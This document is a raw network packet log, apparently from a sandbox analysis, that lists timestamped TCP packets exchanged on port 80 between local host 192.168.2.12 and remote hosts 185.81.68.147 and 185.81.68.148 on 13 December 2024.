Dec 13, 2024 07:49:26.469532013 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.469542027 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.469549894 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.469582081 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.469590902 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.469599962 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.469660044 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.469669104 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.469679117 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.469688892 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.469696999 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.469713926 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.470115900 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.470139027 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.470148087 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.470153093 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.470242977 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.470252037 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.470261097 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.470272064 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.470280886 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.470298052 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.470354080 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.470362902 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.470371008 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.470396042 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.470406055 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.470439911 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.470452070 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.470459938 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.470546007 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.470645905 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.471033096 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.471086025 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.471121073 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.471129894 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.471138954 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.471193075 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.471201897 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.471235037 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.471286058 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.471295118 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.471303940 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.471342087 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.471350908 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.471368074 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.471389055 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.471398115 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.471533060 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.471543074 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.471551895 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.471560001 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.471570015 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.471579075 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.471586943 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.471596003 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.471599102 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.471606970 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.471615076 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.471757889 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.471770048 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.471777916 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.471786022 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.472007990 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.472018957 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.472023010 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.472032070 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.472039938 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.472048044 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.472057104 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.472074032 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.472081900 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.472090960 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.472098112 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.472126961 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.472136021 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.472143888 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.472151995 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.472160101 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.472167969 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.472177982 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.472187042 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.472512007 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.472538948 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.472568035 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.472577095 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.472587109 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.472596884 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.472600937 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.472713947 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.472724915 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.472733974 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.472738028 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.472744942 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.472748995 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.472757101 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.472764969 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.472771883 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.472780943 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.472790956 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.472800016 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.472809076 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.472816944 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.473102093 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.473113060 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.473120928 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.473129034 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.473139048 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.473146915 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.473155022 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.473285913 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.473294973 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.473301888 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.473315954 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.473324060 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.473331928 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.473340988 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.473349094 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.473356962 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.473366022 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.473373890 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.473687887 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.473697901 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.473706007 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.473732948 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.473742008 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.473748922 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.473778009 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.473787069 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.473794937 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.473803043 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.473812103 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.473819971 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.473846912 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.473855972 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.473862886 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.473874092 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.473978043 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.473988056 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.474001884 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.474010944 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.474019051 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.474026918 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.474042892 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.474051952 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.474059105 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.474322081 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.474647999 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.474658012 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.474666119 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.474674940 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.474684000 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.474692106 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.474709988 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.474718094 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.474726915 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.474735022 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.474752903 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.474765062 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.474773884 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.474781990 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.474790096 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.474886894 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.474895954 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.474904060 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.474911928 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.474920988 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.474929094 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.474939108 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.474948883 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.474956989 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.474971056 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.474978924 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.474987030 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.474994898 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.475415945 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.475425959 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.475436926 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.475445986 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.475455999 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.475466013 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.475477934 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.475486994 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.475493908 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.475502014 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.475512981 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.475521088 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.475569963 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.475579023 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.475588083 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.475595951 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.475636959 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.475646019 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.475655079 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.475662947 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.475671053 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.476021051 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.476031065 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.476039886 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.476048946 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.476111889 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.476121902 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.476130962 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.476139069 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.476146936 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.476155043 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.476162910 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.476171017 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.476178885 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.476192951 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.476201057 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.476208925 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.476217031 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.477123976 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.477153063 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.843591928 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.844322920 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.845877886 CET	49712	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.846193075 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.965783119 CET	80	49712	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:26.965972900 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:26.968214989 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.968409061 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.968507051 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.968575954 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.968622923 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.968648911 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.968678951 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.968698978 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.968730927 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.968745947 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.968786955 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.968817949 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.968844891 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.968868017 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.968895912 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.968919039 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.968946934 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.968966007 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.968997955 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.969018936 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.969048977 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.969068050 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.969096899 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.969120026 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.969150066 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.969172955 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.969207048 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.969227076 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.969257116 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.969280958 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.969311953 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.969326973 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.969360113 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.969383955 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.969415903 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.969439030 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.969470024 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.969487906 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.969518900 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.969542027 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.969571114 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.969590902 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.969619989 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.969638109 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.969667912 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.969691992 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.969722986 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.969748974 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.969774961 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.969800949 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.969830036 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.969885111 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.969885111 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.969903946 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.969939947 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.969959021 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.969991922 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.970010996 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.970045090 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.970066071 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.970096111 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.970119953 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.970149040 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.970177889 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.970204115 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.970222950 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.970257998 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.970283031 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.970312119 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.970334053 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.970364094 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.970383883 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.970412970 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.970437050 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.970462084 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.970485926 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.970515966 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.970531940 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.970566034 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.970587015 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.970617056 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.970639944 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.970669985 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.970689058 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.970729113 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.970740080 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.970772982 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.970793009 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.970824003 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.970849037 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.970874071 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.970896959 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.970921993 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.970947981 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.970973015 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.970998049 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.971024990 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.971049070 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.971076012 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.971101046 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.971128941 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.971148968 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.971178055 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.971203089 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.971226931 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.971251011 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.971275091 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.971301079 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.971334934 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.971360922 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.971386909 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.971405983 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.971437931 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.971461058 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.971489906 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.971877098 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.971903086 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.971966982 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.971992016 CET	49724	80	192.168.2.12	185.81.68.148
